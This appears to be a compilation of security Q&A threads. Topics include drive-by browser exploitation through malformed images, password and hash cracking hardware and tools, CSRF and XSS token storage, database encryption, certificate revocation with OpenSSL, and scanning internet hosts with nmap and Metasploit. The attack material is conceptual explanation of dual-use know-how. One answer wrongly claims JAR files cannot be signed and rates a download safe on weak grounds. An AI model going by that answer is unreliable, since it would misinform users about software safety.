How could I send that file? Easy. Include it in the html of the web page with bog standard img tags. The browser will then open/render the image (as it does with jpgs, pngs etc) and my broken dodgy code happily executes that buffer overflow. I might even be sneaky and display: none; it via css, but only if the browser still processes it.

At this point, those instructions in <some code> get executed, which allows me to do whatever I need to. Typically, this downloads an executable of some sort and runs it, which means the exploit only needs to be small and I can download something meatier if the exploit worked.

From there, the "payload" can begin attempting to elevate privileges and installing backdoors. You already have a good answer on what a backdoor could do and how it might work.

I've chosen to make up an image file with a very simple mistake nobody should make; however, in the real world there are all sorts of media which have very complex results:

Javascript - it's a programming language, needs parsing etc.
PDF - a document format with bells and whistles, also includes javascript.
PNG/JPG/GIF - I'd expect a bug in these to be rare, but I believe it has happened (not sure if it caused a remote execution vulnerability though).
More complex movie formats, e.g. MP4 etc.
Flash.

Now, two scenarios are slightly more complicated:

Java applets allow arbitrary code execution - in Java. There are three possible outcomes here:

You can avoid the signing dialog display via some mechanism and so load your class without user interaction, giving you the ability to download/exec code.
You can find a bug in the classloader or jar parser that you can exploit.
There is some bug in the Java language and/or runtime you can convince the user to use.

ActiveX controls: these are, effectively, DLLs or EXEs with "special magic". It's Open Season with one of these; the only barrier here is avoiding (by getting a valid signature, social engineering or a bug) the authenticode (code signing) screen you (should) get before running one.

Baaasically, the browser environment is incredibly complicated and there are a lot of moving parts that must all read untrusted input and correctly handle it.

Now, where does Javascript come into the mix? Well, it might not contain the vulnerability itself, but it certainly can enumerate lots of useful client side information to determine what vulnerability to send - much more than simply the browser version. This could be part of the attacker's landing page, for example, to decide what if any exploits can be run.

Now, that little comment of Rory's:

  Point 5 is dramatically understating what the attacker can do.

Massively, really, megarly (that's a word now) understating what the attacker can do. Since a remote access trojan has full control of your PC, a few things an attacker may do:

Install further code, on demand, to carry out or co-ordinate attacks on other systems. This is commonly referred to as being part of a botnet.
Harvest any interesting-looking information from the current system.
Go around damaging things. Quite rare these days.
Drop payloads onto any media/medium likely to enable the attacker to an exploit another system, e.g. infecting all USB drives that are plugged in.

The possibilities are pretty limitless; the first point is actually reasonably likely, as is the last.

I can haz tl;dr?

Javascript is usually used to perform reconnaissance on the target system; beyond that, an exploit allowing arbitrary code execution must exist in the browser or one of its plugins. From there, you can persuade the computer to download more information, and from there, the computer is your oyster.


How is entropy "stirring" accomplished in the Microsoft TPM? Page 14 of Microsoft's TPM abstraction says that is allows for "stirring"

  A call to BCryptGenRandom will fill the caller-provided buffer with
  random data. The maximum random number size is limited to 4,096 bytes
  per call. The provider may make several round trips to the TPM to fill
  the caller’s buffer and the call will block until the request is
  satisfied.

  The provider also supports “stirring” the RNG in the TPM,
  by providing the flag BCRYPT_RNG_USE_ENTROPY_IN_BUFFER with the call
  BCryptGenRandom. If this flag is set, the provider will stir the
  entropy generator in the TPM with the data in the caller’s buffer. If
  the buffer is larger than 256 bytes, only the first 256 bytes will be
  used.

(note to reader, "bcrypt" referenced above has no relation to the hashing algorithm, it's a descriptor for a MSFT-technology)

Question

How is this in-buffer entrophy used, and why would someone want to improve on entropy?

I remember a previous question on SE that says that combining RNGs from two different sources (system provided + BouncyCastle) was ill advised and will result in a net decrease in security.

How is this "stirring of entropy" any different?

RNGs measure true randomness, but must "whiten" their output using a PRNG. The PRNG has an internal state (initialized during seeding, and mutated after every new batch of data is output) of a fixed size, say 256 bits. The RNG also maintain a counter of how much entropy that state actually represents. Each time you read N bits from the "pool", it comes out of the PRNG, and the entropy counter is decreased. (If none is left, the call blocks until the requested amount is there.) Each time a new batch of true randomness is produced, it is hashed into the PRNG's state, and the entropy counter is increased by the number of bits of entropy that batch of randomness represents. (This is usually a conservative estimate.)

In this context, "stirring" means hashing a new value into the PRNG state without increasing the entropy counter. This is not a security risk, because the RNG is not trusting that this represents actual additional entropy. OTOH, if your RNG is poor and is delivering less entropy than it is supposed to, "stirring" in more entropy from somewhere else will protect it.


How to make my homemade program not come up with security warnings? I am an amateur developer and trying to make a exe file for windows that can be downloaded from the internet, or sent to my colleagues via email, but whenever it's opened it comes up with two warnings on my machine. The first is the standard windows warning, do not open random exe files from the internet, and the second is Norton security.

There seem to be these issues:

It doesn't have a digital certification.
Unknown publisher, internet origin.
Originated very recently.
Very few downloads (in the Norton community).

How can I stop these things from discouraging me from running the program? The program does nothing malevolent, not remotely. Do I need to buy some kind of certificate?

There are two ways to do this:

Install your own root certificate to the system's certificate store, this is only suitable for programs you use for yourself or a small number of users, and doesn't cost you anything
Get a code signing certificate from a trusted Certificate Authority. You need either a registered business or legal proof identity for most CA to approve your application

References:

Introduction to Code Signing
Find a Certificate Authority here or here


What is the risk of installing Facebook Video Calling jar file? I'm trying to talk with somebody on Facebook, but after many Facebook privacy scandals, it's a big question.

Secondly on OSX, it's giving me the error that “FacebookVideoCalling_v1.6.jar” can’t be opened because it is from an unidentified developer.

If I install that software, is there any possibility that somebody can use/hack my microphone or video/camera through that application without my knowledge?

First of all, a JAR file is a Java Runtime file, it runs a java-based program.

What is common with OSX is that it checks the author fingerprint, and would give warnings if the Application or file isn't "trusted", which can mean its not gained through the Appstore, or is not signed (applications can be signed by an author).

JAR Files if I'm right, cannot be signed, thats why OSX gives an error.

Is it safe to install? if it's the official download from Facebook itself, it is, since they don't have school dropouts working on their security, you can safely assume the application is safe, as long as you do regular updates of course.

If you downloaded the JAR from any other site then Facebook, then i wouldn't really recommend it.

Any alternative for video/voice calling is Skype, or the Skype web app on Outlook.


How do Field Programmable Gate Arrays (FPGAs) compare to Graphics Processing Units (GPUs); for cracking hashes? As a general rule, GPUs are more effective than CPUs when it comes to performing acutely repetitive tasks, like iterating over lists and generating permutations of a set (i.e. exhausting dictionaries & keysets), in order to crack a hash.

Obviously, not all CPUs & GPUs are the same. Maybe a particular CPU could outperform a particular GPU for such a purpose, but that's generally not the case.

So what about Field Programmable Gate Arrays (FPGAs)? Generally speaking, are they even better suited to cracking hashes, than GPUs?

See also: Why are GPUs so good at cracking passwords?

What exactly is an FPGA?
An FPGA is not like a GPU. A GPU is a pre-designed processor with all the circuitry already there. All you have to do is hook it up and let software interface with it. FPGAs, on the other hand, are completely different beasts. They are a "blank slate" processor. You have to design an FPGA, not just buy one. You determine what transistors do what, how they hook up, etc. They are efficient because every part has a job, but they require you have a deep understanding of electronics and integrated circuit design.
In the question you linked explaining what makes a GPU so good at password cracking, it says that a GPU has a large number of identical cores that can run the same algorithm in parallel. How the core works internally is something that you don't need to know in order to make use of it (and likely can't legally know). For an FPGA, however, there is no such unit. You create each core and design it. You set up the individual logic gates. Basically, you design the chip, using the FPGA as nothing more than the actual, physical hardware that contains the transistors. Developing on them can be difficult.
Which is faster for hash cracking?
For the same price, a high-end GPU is likely to be faster than an FPGA at processing hashes, but an FPGA is likely to use less power for processing the same number of hashes. It's important to note that there are several different kinds of FPGA. An FPGA "conversion" involves creating an ASIC from FPGA HDL. This is often quite expensive and is only done when purchasing in quantity, but tends to be a bit faster than a regular FPGA (apparently around 30% faster), and much easier, and cheaper, than designing an ASIC. A true ASIC is, of course, much more efficient than either. Designing an ASIC is even more difficult than programming an FPGA, and requires far more knowledge of low-level integrated circuit design. Overall, ASICs are efficient and fast, but costly and hard to design.
Which should you get?
If you want the highest possible MHash/s for a given price, or if you need the flexibility of supporting multiple algorithms, get a GPU. If you want the highest possible MHash/J (joule, an energy unit), get an FPGA. If you want both speed and efficiency and do not care about price, design an ASIC.
If you are new to password cracking and just want to build an efficient cracking rig, get a few fast GPUs. FPGAs and ASICs are typically used if you are a company with a team of developers with a large (but strict) budget to work with, when custom solutions are needed. For most password cracking needs, a GPU would do just fine, not only because of their competitive speed, but because popular hash-cracking software like Hashcat is designed to make use of GPUs for acceleration. Nothing of that sort exists for FPGAs or ASICs, meaning you'd have to design it all yourself.
An excellent post on the Electronics Stack Exchange explains the difference between FPGAs, ASICs, and general-purpose microcontrollers (which a GPU is most similar to) in more detail, from an electronics design perspective, rather than a hash-cracking perspective.


Is a certificate with more bits than its parent more secure? Let's Encrypt currently issues 4096 bit RSA certificates if requested (default, however, is 2048). But its parents, intermediate "Let's Encrypt Authority X3" and root "DST Root CA X3", are both 2048 bit.

According to this thread, the well-known Qualys SSL Labs test gives a setup with 4096 bit Let's Encrypt certificate a better rating (in "Key Exchange" section) than to 2048 bit one. Why? Isn't a certificate chain as weak as the weakest link?

Neither 2048 nor 4096 bit RSA can currently be broken. Thus the question is how it affects the security of the data if the attacker sniffs the data today but manages to break the keys in the future:

The keys of the CA are only needed to validate the certificate chain. The compromise of the keys which are used for establishing a connection does not make it possible to decrypt sniffed data.
The key of the leaf certificate is used to authenticate the server which is not a problem either if the key gets compromised later.
If RSA key exchange is used instead of the recommended DH/ECDH key exchange the key in the leaf certificate is used to protect the exchanged symmetric keys. Compromise of the RSA key will allow to remove this protection on sniffed data and thus makes it possible to decrypt sniffed traffic. In this case RSA-4096 will give more security than RSA-2048 because the efforts needed to break it are much higher. But, in practice the attacker will probably try to get to the private key not by breaking RSA but by compromising the system where the private key is stored or by using the law to get to the key. In this case RSA-2048 and RSA-4096 both provide the same security.

In summary: RSA-2048 is enough for CA certificates today. Use of RSA-4096 in a leaf certificate might in theory better than RSA-2048. In practice it is only better if RSA key exchange is used. But using this key exchange instead of DH/ECDH is not a good idea anyway because the private key of the certificate might be compromised in easier ways apart from cracking RSA.


How to allow only the public key owner to submit requests to my site? And what is this type of security called? This was probably asked many times here, but I'm not finding any because I'm not sure what to look for.

I'm developing a simple payment gateway, where partners (consumers) can submit requests so their users can pay and return back.

I will give partners a public key (bound to their domain name), they will use this key on their website (through a script src tag on iframe) to acquire an access token. This access token will be then used to submit requests to my payment gateway.

Question is: what is the technical term in security for what I'm trying to do? And what other methods are there?

Extra info: I have checked how Paypal implements their Buy/Subscribe/Donate buttons, they don't seem to put any sensitive info in the iframe (of the button), how can they make sure of the partner?

Additional note: I don't want my partners to do a server to server call, I want the integration to be very simple from their side.

There's a little detail here on how Paypal issue Application IDs for issuing on servers which will host applications making API calls to PayPal on behalf of merchants/service providers - https://www.x.com/developers/paypal/documentation-tools/going-live-with-your-application#register

The approach you're taking above is similar so it's a way of providing client side authentication to the server gateway.

An alternate way to do this would be to issue certificates which you populate with details of the client you're issuing the certificates to. They would then install the certificates on their web servers so those certs would authenticate to your server-side cert.

The immediate issue with the above appears that if someone gets access to the public key your client stores in a script src tag, your client can be impersonated and be given an access token... As such, perhaps the authentication should be abstracted from the published, accessible code.


Rainbow tables, generation and lookup, preferably using GPU 1a) What software can I use to generate my own rainbow tables, preferably software that can utilize CUDA or ATI Stream?

One of the reasons I want to make my own, is that I want to use a specific charset/alphabet.

1b) If I want to make a rainbow table for a custom/rare hash algorithm, do I have to write my own software?

2) What software can I use to look up a hash (or list of hashes) in a generated rainbow table, preferably software that can utilize CUDA or ATI Stream?

I have assumed GPU acceleration will be helpful in both generation and lookup - tell me if I'm wrong on that.

Rainbowcrack is the defacto standard rainbow table generating program,  but its really old.  Someone recentaly wrote patches for John The Ripper to support GPUs. JTR is nice,  especially now that most password hashes have a large salt.

This is a cool project that is using the same software that powers folding@home to generating rainbow tables that can be downloaded for free.  Its best to hit the password with an existing rainbow table,  and then hit it with JTR.

Or if you are breaking WPA/WPA2,  hit it with cowpatty, and if that fails then hit it with pyrit. (WPA-PSK is complete and utter trash)


Preventing CSRF/XSS on mobile/web shared API I have inherited a code-base that includes a mobile & web app that both access the same API and have been tasked with fixing some of the security holes that exist, unfortunately I am not well-versed in the subject. Now I understand that the vulnerabilities I am looking at apply to web only but I would like to minimize the changes required on the mobile end, and since this service involves both I am looking for situational advice.

Both web & mobile receive an access token stored in a secure cookie which they use to access the API. This works perfectly fine for the mobile side but is open to CSRF on the web. Using the SOP and our CORS policy we are able to disallow other origins from reading data but of course they can still make changes to the server (ie. delete, update).

One solution that had been brought up is to switch to storing the access token in web storage so that we will not be vulnerable to CSRF attacks (because they are domain locked). This would of course open us up to XSS vulnerabilities but to the best of our knowledge the web app is safe in that regard (all user inputs are sanitized and validated, and no user input is directly outputted to the DOM). But, I have been told (unable to find references) that browser plugins can inject code into the DOM and would have free access to those storage values making our security essentially moot.

Another solution would be to use one of the solutions outlined in the CSRF cheat sheet but would require extra state on the server and re-write of how the mobile clients handle their cookies and requests and is not ideal.

So a better solution following above would be to separate the web & mobile APIs to allow the CSRF vulnerability solutions without having the make adjustments to the mobile apps.

So I am curious what you would suggest would be the best solution to this problem, or perhaps I am missing something that could be a simpler solution (for example CSP, I am not sure if that would be able to prevent certain XSS holes?).

I think your best solution would be to move the access token from a cookie to local storage. It's simple and efficient.

So what about the concerns you raise? You are right that this exposes the token to XSS. But if you do have XSS vulnerabilities, it's effectively game over anyway. The HttpOnly flag is an annoyance to an attacker, it's not a solid defence. I would not pick a more complicated design just to be able to keep the token away from JS. Instead, spend the time you save on hunting down actual XSS vulnerabilities!

As for malicious browser plugins, there is no way you can defend against them no matter where you store your tokens. If the client is infected with malware, you have already lost. So from the perspective of an API developer, there is no point in even trying to defend against this scenario. Your users need to keep their machines clean; if they fail at that there is nothing you can do for them.

Splitting the API gives your more maintainance work in the future, and sort of negates the whole benefit with having an API. To me, it smells like an ugly emergency solution that I would stay away from.

Finally, a strict CSP is always a good idea. It's not a silver bullet, but it sure helps a lot.


Php two-way encryption to mysql database I would like to learn / know how other companies deal with the problem of storing the encryption keys. I want to encrypt the user's email address (and other sensitive information) but (because I want to be able to send the user an email) I need two way encryption to decrypt it.

I did some research but I don't fully understand it yet. that's why I Am for your expertise.

The question, what should you use as the encryption key (like the hashed password) or where/how should you store a generated key.

It would be pointless to store the key in the same database because if it gets compromised the key would also be leaked, and the data would be decryptable. But the data needs to be accessible by the program...

So I was thinking (and please do share me your opinion / expertise) about a sqLite database that links the (bcrypt hashed password + mt_rand 64 bit character string of variable length) encryption key to an user_id. The file will only be accessible from the code (or from the outside if nginx / linux is compromised). And if an user request data that is encrypted, the system would use the user's id to search the encryption key inside of the sqlite database and use that key to decrypt the data from the mysql database.

A better way would be that even I wouldn't be able to get to the data (like hashing) but that the system would be able to decrypt it, but I don't think that's possible.

footnote, altho it would solve this problem by leaving the answer, please do also share resources, it would not only help me by solving my problem. But also in learning to be better at security.

What you do here depends on your threat model and what attack scenario you're trying to defend against. I'm going to assume you're trying to protect against a situation where an attacker can read the database contents (e.g. via a SQL injection vulnerability) but not the contents of the filesystem. I'm also going to assume you care about confidentiality and not integrity or authenticity.

It's worth noting that you will need to lock down your database user's permissions to prevent a SQL injection from gaining filesystem access via commands such as LOAD DATA INFILE, otherwise database access inherently also means filesystem access in most cases.

The general way to secure database contents against such a scenario is to have a symmetric key stored externally to the database, e.g. in a config variable or stored in its own file. Then, for each item of data that you want to encrypt, you generate an IV and encrypt the data with AES in CBC mode, then store the IV and encrypted data as columns in the database. You can then decrypt the value by finding the row you want to decrypt, reading out the IV and encrypted email address, then doing an AES-CBC decrypt using the key you loaded from the key file.

This does, however, mean that you can't search the users table by email address. Scott Arciszewski wrote a great blog post recently about building searchable encrypted databases which may help you if this is a requirement.


Is there a possible security advantage to using a non standard port for ssl/https? There are documented (albeit debated) advantages to using a non standard port for SSH.

I also read in various places about using a non-standard port for https (e.g. 8443). Is there a possible advantage to doing this? Of course, the firewall will need to account for it, and the webserver/reverse-proxy too. But having gone through the (relatively simple) hoops, is there a possible benefit for a public-facing webservice?

Having a different port is security by obscurity. While this is bad to be used as the main protection it can be useful as an additional protection, like to avoid the usual vulnerability scanners in their default settings.

But how much additional protection is actually achieved is questionable: if the site is private one can keep the port kind of secret. But if the site should be publicly available like in your case then the alternative port cannot be kept secret. This means that there is no real obscurity in the case and thus also no security gained by obscurity.

While one might be able to avoid some dumb scanners this way the security benefit is small. On the other side one will have trouble with corporate firewalls which might block access to this alternative port, thus preventing customers from visiting the site.


Can my Root, Intermediate and SAN certificates have the same serial number? Can my Root, Intermediate and SAN certificates have the same serial number?
The serial number is 00.
If the Root, Intermediate and SAN should not have same serial numbers, then should I use the random serial number which gets generated when I do not mention 00? Or, suggest me which serial numbers to use for those.
I am using OpenSSL.

In general, each certificate should have a unique serial number (unique from that issuing CA). This is because if you ever need to revoke them (ie put them on a Certificate Revocation List (CRL)) you will need to reference them by serial number on the CRL.
In your case, the End Entity certificate is issued by the Intermediate CA and is the only cert signed by that CA with serial number 00, so as long as you're not planning on issuing any more end entity certs, you don't have a uniqueness problem there. However both the Root cert and the Intermediate cert are signed by the Root, so you can not revoke your intermediate cert without also revoking your root.
Maybe that's not a thing you care about, but using a random number is definitely best practice. As an example of best practices, the CA/Browser Forum's Baseline Requirements for public HTTPS CAs says

CAs SHALL generate non-sequential Certificate serial numbers greater than zero (0) containing at least 64 bits of output from a CSPRNG.


Is this authentication scheme secure? I want to authenticate a client of a webpage and make sure it is a particular user.

Let say that we already agreed on a particular hash (SHA256, actually, which I think is secure enough for this) and we both already exchanged a key in a file through a trusted medium.

This key is pretty much a text file with 2K of random letters. I have it stored in my server, they have it stored somewhere in their computer.

These are the steps devised to authenticate the client:

The server generates a challenge, a random string of 128 letters.
The server sends the challenge to the client's browser.
The client has access to an input field where they load their key file.
The client computes an answer by appending key to their challenge contents and computing its hash.
The client sends back only the answer for this particular challenge.
The server compares the received answer with one generated locally and if they match then I can assume that the client is the person who I think it is.

Final assumption, the exchange of both the challenge and the answer through the web may happen through an insecure channel. Actually, assume that it WILL happen through an insecure channel, i.e. HTTP.

Is this scheme secure?

If not, what are its pitfalls?

In step 4, does it make a difference if I compute the hash as challenge + key instead of key + challenge. I guess this has to do with the hash algorithm I chose, and I think SHA256 handles those things well, but I'm no expert.

Does it matters much if I increase/decrease the length of the key and challenge ?

No cryptography using client-side JavaScript can be secure without HTTPS. Any MITM attacker can send JavaScript that can do anything with the secrets the browser has access to, then there will be no secret.

If you absolutely cannot use HTTPS, the user must have to a tool to compute the response outside the browser and paste the result into the browser. Even so, any data transmitted after the authentication is still subject to interception and modification, which makes the authentication pretty useless from a user-protection perspective.

Please read:

What's wrong with in-browser cryptography? - Tony Arcieri
or Javascript Cryptography Considered Harmful - NCC Group
or the 1,030,000 results returned for searching "wrong with javascript cryptography" on Google

Edit:

BTW, even if you use an external program to handle the authentication and maybe even encryption of data that goes over HTTP, you may still have a lowered security compared to just using HTTPS. Best example is the Korean SEED cipher which exposes users by locking users down to and training them to trust ActiveX controls and IE. See this blog article).


Reply to email or text as verification? I've seen plenty of websites that, during the signup process, require me to verify my email address or cell phone number by clicking an emailed link or by entering some one-time-use code that's been sent to me.

I generally find these systems a pain to use.  For the email it's annoying to have a separate tab open up when I click the verification link, then my two tabs end up in different states.  For the cell phone, I have to manually copy some six digit code from my phone into my web browser.

Why not allow the user to just reply to the email or text as a verification step, instead of copying codes and links around?  It seems technically pretty easy - you could put a nonce in the outgoing email and make sure it remains in the quoted part of the reply.

Is there some security reason why this is not a good idea?

I agree with you that this would be convenient but I suppose there could be a few motivations not to do this.

Issues from the user perspective:

Firstly in the case of the reply to the text message - This most likely has a monetary impact. Where I live, and I can only assume most other countries, text messages are charged for. The cost might be insignificant but the service provider cannot assume you have money to be able to reply on that text message.

In the case of the email - most of these emails are sent from addresses or through bulk mail providers that don't even allow replies on those emails (the motivation therefore partly security based I guess). This practice would obviously make it impossible to reply with a confirmation.

Issues from the service providers perspective:

If they allow users to respond via email or text message they need to parse those responses which could be a lot of work and consume very valuable computational resources. Anybody who has ever tried to parse responses in emails will know that headers get modified or lost and body contents can easily change,let alone character encoding issues giving you headaches. Same with test messages, although to a lesser extent. Those text message replies will have to be parsed and sanitized at the expense of the service provider.

Emails are trusted by users but are unfortunately inherently insecure. Please note I'm not saying all email is insecure but the amount of SMTP servers that do not employ some sort of transport layer security is shocking. It is also known that some very basic SMTP authentication protocols like CRAM-MD5 are not very secure. All this means that emails can easily be modified during transport by a MItM, making it extremely difficult for the service provider to trust those responses. They would much rather you get the code, copy it and go and paste it in a nice secure form on their HTTPS site - a lot less work for them. This is of course most relevant with high value and critical processes like a response to authorize a Bitcoin transaction from an online wallet.

What I have however seen from certain sites is an email with a link that points to a secure site with a query string at the end containing my reference number. Clicking on that link then posts to the secure site and submits your code. This works great if you assume that the link was not somehow altered.

I suppose the best solution would be to provide a range of choices since there are alternative options on how you would like to respond on that notification, but that would entail that the website do more work - which they don't always like.


Does setting the cookie-path protect me from XSS from another context? Lets say I am using a reverse proxy with URL rewriting that provides access to 2 different applications

http://www.example.com/app1/ and  http://www.example.com/app2/.

I don't want those applications to be able to get access to each other cookies, especially because I want to contain a potential XSS vulnerability to one application only. Is it sufficient to set the path of the cookies accordingly? The http-only flag is not set in this scenario.

If setting the cookie path is not enough, I would be interested which additional steps should be taken.

No. The JavaScript Same Origin Policy allows you to execute code in any document on a given hostname from any other document on the same hostname (+scheme+port).

Compromised code in www.example.com/app1 can interact with www.example.com/app2 through eg forms, iframes and AJAX, giving it an almost complete ability to pose as the genuine user - which is more than just a problem of leaking cookies. CSRF protection does not help you as the CSRF token can itself be read by the script code.

The path= feature of cookies is only of use for preventing accidental clashes; it has no security value. You should only reverse-proxy two applications into the same hostname if they fully trust each other.

Otherwise look at subdomains or full separate domains. (Subdomains prevent apps from reading each other's cookies, but don't prevent a domain= being used to make a cookie available to the other site. This isn't typically a security problem as such, but can be an annoyance when it masks a real cookie and stops the app from working.)


Business-to-Business Security Disclosure and Agreement Looking for a template covering the disclosure information security practices that are standard in Business-to-Business partnerships that share data.

For example:

Access management
Password management
Data encryption in storage
Data encryption in transmission
Audibility and right to audit
Destruction of data
Notice of Breach
Disclosure of any past breach valued in excess of $3,000 USD
Etc

That said, this is more oriented towards small-to-small companies; 50-150 people in each company.

One very common area where business contract to certain security practices is merchants contracting with credit card companies who require PCI compliance. Where both SOX and PCI compliance differ from your question is that the standard is set by an independent third party and the two contracting parties basically agree to abide by that independent standard.

Since the standard is objective and maintained by a third party, it is possible for someone to audit the firms for compliance, in fact most merchant agreements require PCI compliance testing.

While it may be overkill, you could have a contract requiring that your partner comply with either the NIST standards or Federal Information Processing Standards (FIPS). By writing simple language such as "Firm X warrants that it will comply with X standard" rather than trying to incorporate the provisions of a standard into the contract, resolution would be much simpler and less costly in the event of a breach or dispute because of trying to argue over what the provisions of the contract say, it becomes a simple matter of getting a third party expert familiar with the referenced standard to opine on compliance with that standard.

Finally you need not require compliance with the entire set of FIPS; for example you could reference FIPS 197 for data encryption and FIPS 112 for passwords.


Why wasn't the flame malware flagged by firewalls? Why didn't any firewalls catch the flame malware siphoning out all of that data? I thought there was firewall software that looks for "suspicious" activity?

That's a very good question.  Will's answer is accurate as far as firewalls go.  Another part of the equation is why didn't any intrusion prevention systems (IDS/IPS) catch it?

My first-hand knowledge is limited to Cisco's IPS solution, but I'm sure most of them work similarly.  They can be configured to scan outgoing as well as incoming traffic, but they rely on signatures to profile and match traffic that are updated regularly, much like anti-virus definitions.  As long as Flame was an unknown threat, there were no signatures added to match against its traffic.  Now that it is known, I'm sure there are updates that will detect it.

There are some IPS/IDS products that claim to work "heuristically" and can catch "zero-day" or brand new exploits. Given the level of sophistication used by the Flame malware, I'm surmising that its creators simply bought samples of heuristic IPS systems and tuned the malware to avoid detection by testing it against real world gear.  It is pretty clear at this point that a national government with serious resources was involved so that sort of expense is not unlikely.


Why is it still necessary to block brute-force attacks when passwords hash verification requires significant work? For authentication controls, Owasp gives advice to prevent brute-force attacks by locking out account, and I see this kind of advice in several places (blocking by source IP after failed logins, blocking by account ...).

Why ?

I mean, two cases here :

either you securely store your passwords in database with costly verification (bcrypt, argon2, ...) : in this case, your passwords are supposed to resist to offline attack, when the attacker has direct read access to the database. And i think they will : if password verification takes on server side ~ 0.05s with a decent hardware and you impose a password length of 7 character AND forbid common password (included in a potentially big list), it will take on average 0.05 * 62^7 / (2*3600*24*365) = 2 800 years to decrypt each password (assuming users chose passwords of 7 characters in [a-zA-Z0-7]). Unless your threat model imply attacker having a really big computing power, I find it enough. And online attack (brute-force using the login form) is slower than offline attack : is there still a need to block the attacker if its bruteforce attempts are bound to fail for quite a long time ? And yes, the brute-force attempt will be a kind of (D)DoS, but this has to be mitigated by general anti-(D)Dos techniques which are not specific to login forms.
either you do not store your password securely (fast-to-compute hashes, no salt, no hashes at all ...) : this is a problem and you should first consider securely storage of passwords. And if you can't (software legacies ...), simply adding a 200ms delay to each password verification achieves a similar protection in the login form (but not in the case of database leak / offline attack), and is far more simple to implement.

In none of these 2 alternatives I see blocking brute-force attempts a good solution. It adds complexity and potentially creates DoS vulnerabilities.

Secure password storage alone does not help against brute forcing trivial passwords. If all the attacker has to do is try 100 passwords to get to the users account then slow password verification is not a real problem. Apart from that password verification cannot be too slow because otherwise a DOS on the system can be created by just trying to log in.

Regarding your example: if a password verification takes 0.05 seconds then the system can only verify the login of 20 users within a single second. For many use cases this is too slow. On the other hand the attacker only needs 5 seconds to brute force 100 passwords and at the same time makes the system unusable for others (i.e. DOS).

If instead the password verification takes only 0.01 second but there is a limit of only 3 attempts within a 30 seconds for a single user account than the attacker would need 1000 seconds to try 100 passwords and at the same time the system can handle other users without problem.

Apart from that the common password hashing is not intended to deal with brute force attacks against a single account. The salting and hashing complexity are instead intended to make it impossible to crack passwords en masse.


RestApi Libsodium SealedBox end-to-end request encryption scheme I am making an API that uses the following steps for encryption. All of this is implemented using libsodium.
First of all the client has to make an initial request to the server for getting his public key and client token, with that key that corresponds to an unique sealedbox he encrypts and sends all the requests bodys. Once obtained he stores it locally
Then in order for the client to send a request to the server it has to encrypt the body ( create the sealedbox ) with the public key + ephemeral private key that's destroyed right after the encryption process.
Then the server takes the request and searches for the keypair generated for that client token in order to open the sealedbox.
When the server sends the response to the client is just a plain JSON
All connections to the server uses TLS 1.2+ + HSTS Header.
What do you think? Is it secure? Is there a better solution?
Do i need to implement Key exchange https://doc.libsodium.org/key_exchange in order to get the initial public key and client token to be completelysecure ?

TLDR: If you don't trust TLS, there is no easy way to establish secure data exchange.
You said that one of the threats is

the network is compromised

If you don't trust network, then sending client token via such network makes no sense. Also all further steps that you described make no sense because they are based on a compromised client token.
Another threat is compromised authentication:

make sure that who is requesting that data is that user

If you don't trust network, then you cannot trust user login. Means, you need to use some pre-shared secret which was shared via some other, trusted channel. For instance, you can send a list of one-time passwords to the client per SMS, or Email, or even per normal mail, or provide a one-time-password generator to each client.
Another approach may be using a separate public key on the server (for encryption of client requests) and public keys for each client. Actually, good practice is to use separate keys for signature and for encryption. Thus you need to provide 2 certificates to each client. Also you need to manage client certificates: Issue new certificates when the old ones expire, have a revocation list and organize revocation process.


Can I revoke a client certificate using only it's serial number (not it's crt/pem)? I've signed and issued some client certificates with my CA. I can now revoke them like so:

openssl ca -name ${CA_NAME} -revoke ${USERS_DIR}/${USERNAME}.crt -keyfile $SSL_PRIVATE_DIR/ca.key -cert $SSL_CERTS_DIR/ca.crt

(from here)

However this requires access to the *.pems in the new_certs_dir folder (e.g. 01.pem, 02.pem). I can use these but it feels like the only information I need to revoke a client cert is its serial number. However the man page for the revoke flag says it has to be the crt/pem file:

-revoke filename
       a filename containing a certificate to revoke.

I've also noticed I can manually edit the database file, changing the V (valid, presumably) to an R (revoked, presumably) and providing a timestamp for the second timestamp column, like so:

V       180408071318Z           01      unknown /C=AU/ST=NSW/O=Blah/OU=Blah/CN=CA
V       180408071319Z           02      unknown /C=AU/ST=NSW/O=Blah/OU=Blah/CN=CA

to

V       180408071318Z           01      unknown /C=AU/ST=NSW/O=Blah/OU=Blah/CN=CA
R       180408071319Z    180408081319Z       02      unknown /C=AU/ST=NSW/O=Blah/OU=Blah/CN=CA

If I then generate the crl after editing,

openssl ca -name ${CA_NAME} -gencrl -keyfile $SSL_PRIVATE_DIR/ca.key -cert $SSL_CERTS_DIR/ca.crt -out $SSL_PRIVATE_DIR/ca.crl -crldays 1095

the certificate corresponding to that serial is no longer valid. So it seems like all I needed was the serial, despite openssl not providing that option.

So my question is, is there a kosher way to revoke a certificate using only it's serial number? Or are there important reasons why this isn't done? Will I encounter problems if I manually edit the database file like above?

In X509 the fields making a certificate unique is the combination of issuer and serial number. Only the serial number is not guaranteed to be unique since two CAs may use the same serial. This is the reason both are typically needed for revocation.
In practice, if you only have one CA, the serial will be enough of course. But it's not generic.
There should be no problem manually editing the database, as this will be the same thing as the command will do


Can you exploit an Internet IP adress just like a LAN IP address? Is exploiting an Internet IP address as simple as exploiting a LAN IP address? i.e.:

Scan that IP for vulnerabilities and open ports using tools like nmap or nikto
Use a vulnerability and set the RHOST for that IP and exploit (using Metasploit for instance)

More or less, yes. Some things that might be different:

You will not be able to use layer 2 scans (like ARP scans).
If I would give you my public IP address, that would be the address of my router, and not my PC. Depending on the port forwarding settings on my router, you will most probably not be able to scan my PC directly, but only my router. That would limit the ways you could attack me and what exploits you could use.
Chances that you will be blocked by an IPS/WAF/Firewall are higher when doing scans on internet addresses than on local addresses, although it does not necessarily have to be like that.


Sending static registration links via email In our mobile application, users need to register first before they can use it. After successful registration, they an now login and use features of the app. Now we will have a feature in our application where all users who have records in the active directory and "master" database but not yet registered in the app would be sent sms with a registration link. The details are the ff.

A static link is sent (not the usual dynamic ones where a token is appended to the url)
When that link is clicked, an authentication page would show up in the machines internet browser and show a page where it asks for the user's company ID and birthday. When the entered information is valid, a one time password is sent via sms and if valid, the user can now proceed with registration

The question is, is this kind of process secure? there was a debate within our team whether the link sent via sms should be dynamic or static? what are the possible vulnerabilities of this kind of process? doesn't seem to violate any OWASP standard.

Edited: fields in the input page are the user's company id and date of birth

When that link is clicked, an authentication page would show up in the machines internet browser and show a page where it asks for the user's company ID and birthday.

This is not a safe on-boarding process to prove that a new app user is associated with an identity in active directory. Birthday and company ID are way too public, particularly to other users in the company. Another employee would easily have access to the on-boarding link from their legitimate account.

